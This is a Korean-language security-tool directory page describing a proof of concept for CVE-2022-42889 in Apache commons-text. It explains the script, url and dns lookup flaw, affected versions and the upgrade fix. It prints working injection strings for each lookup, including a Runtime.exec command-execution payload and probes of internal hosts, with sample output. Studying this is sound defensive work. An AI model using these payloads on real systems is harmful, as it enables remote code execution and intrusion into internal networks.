Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-42889-PoC — Apache commons-text 취약점 CVE-2022-42889에 대한 개념 증명. | Kitploit
도구/GitHubGitHub/seanwrightsec/cve-2022-42889-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubseanwrightsec/cve-2022-42889-poc

CVE-2022-42889-PoC

Apache commons-text 취약점 CVE-2022-42889에 대한 개념 증명.

저장소 보기
34173년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-42889 개념 증명 (PoC)

이는 취약점 CVE-2022-42889에 대한 개념 증명(PoC)입니다. 이 코드는 JavaScript 코드 195 + 324를 실행합니다. 취약할 경우 출력은 다음과 같아야 합니다:

root@kitploit:~
PoC Output: 519

이를 실행하려면 다음이 필요합니다:

  • JDK 11 이상
  • Maven

익스플로잇 문자열을 입력하라는 메시지가 나타나면 자신의 익스플로잇 문자열을 제공(Enter 키를 눌러 문자열 입력)하거나, Enter 키만 눌러 기본 익스플로잇 문자열 ${script:javascript:195 + 324}를 사용할 수 있습니다.

Docker

또는 Docker를 사용하여 이 PoC를 실행할 수 있습니다:

root@kitploit:~
docker build -t poc .
docker run -it poc

문제는 무엇인가요?

문제는 다음 키가 기본적으로 보간(interpolate)되어서는 안 된다는 사실에서 비롯됩니다(문서 https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html에 따르면):

  • script
  • dns
  • url

script

이 lookup을 사용하면 제공된 JavaScript 코드가 실행됩니다. 결과적으로 공격자가 시스템에서 임의 코드를 실행할 수 있게 됩니다.

형식

root@kitploit:~
${script:<engine>:<code>}

예시

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}

PoC에서의 예시:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================

url

이 lookup은 지정된 URL을 호출합니다. 공격자는 이를 활용하여 내부 리소스에 기본 GET 요청을 수행할 수 있습니다.

형식

root@kitploit:~
${url:<character-encoding>:<url>}

예시

root@kitploit:~
${url:UTF-8::https://internal-jenkins.companyx.net/}

PoC에서의 예시:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================

dns

이 lookup은 DNS 조회 또는 역방향 조회를 수행합니다. 이를 통해 공격자가 내부 리소스를 식별할 수 있게 됩니다.

형식

root@kitploit:~
${dns:<address,canonical-name,name>|<host>}

예시

root@kitploit:~
${dns:address|internal-jenkins.companyx.net}

PoC에서의 예시:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${dns:address|www.google.com}                                                         
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================

그러나 로직의 결함으로 인해 이 3개의 키는 기본적으로 보간되며, 보안 위험이 될 수 있으므로 보간되어서는 안 됩니다.

위험은 무엇인가요?

영향을 받는 StringSubstitutor replace에 전달되는 문자열을 제어할 수 있는 공격자는 다음을 수행할 수 있습니다:

  • StringSubstitutor 코드를 실행하는 시스템(일반적으로 서버)에서 JavaScript 코드 실행
  • 영향을 받는 시스템에서 다른 서버에 연결
  • 영향을 받는 시스템에서 다른 원격 리소스에 접근 가능

취약한가요?

귀하의 코드가 취약하려면 다음 조건을 충족해야 합니다:

  • Apache commons-text 버전 1.5.0 이상 1.10.0 미만을 사용 중

  • StringSubstitution에 보간(Interpolation)을 사용 중 (참조 https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)

  • JDK 15 이상에서는 JavaScript 엔진 Nashorn이 더 이상 포함되지 않습니다. 그러나 JEXL 엔진은 여전히 포함되어 있으며 결과적으로 RCE가 여전히 가능할 수 있습니다.

    (이 점을 강조한 rgmz에게 감사드립니다)

공식 수정 사항

이에 대한 수정 사항은 commons-text 인스턴스를 버전 1.10.0 이상으로 업데이트하는 것입니다.

참고 사항

다른 기본 lookup도 여전히 보안 위험이 될 수 있습니다(예: 파일 내용 읽기, 시스템 속성 읽기 등). 이 기능을 주의해서 사용하고 모든 사용자 입력이 적절히 정제(예: 허용 목록 통과)되었는지 확인하십시오.

도구 다운로드